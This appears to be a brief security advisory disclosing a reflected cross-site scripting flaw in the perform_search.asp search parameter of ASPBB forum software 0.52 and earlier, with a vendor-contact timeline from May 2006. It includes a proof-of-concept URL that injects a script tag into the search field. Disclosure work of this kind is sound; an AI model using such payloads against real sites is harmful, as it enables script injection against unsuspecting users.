Vendor: ASPBB (www.aspbb.org)
Version: 0.52 and prior versions must be affected.
About: Via this method remote attacker can make malicious links for
clicking and
when victim clicks this links victim's browser would be inject with XSS.
Level: Harmless
How&Example:
GET -> http://[site]/perform_search.asp?search=">[XSS]
EXAMPLE ->
http://[site]/perform_search.asp?search="><script>alert('X');</script>
Timeline:
27/05/2006: Vulnerability found.
27/05/2006: Contacted with vendor and waiting reply.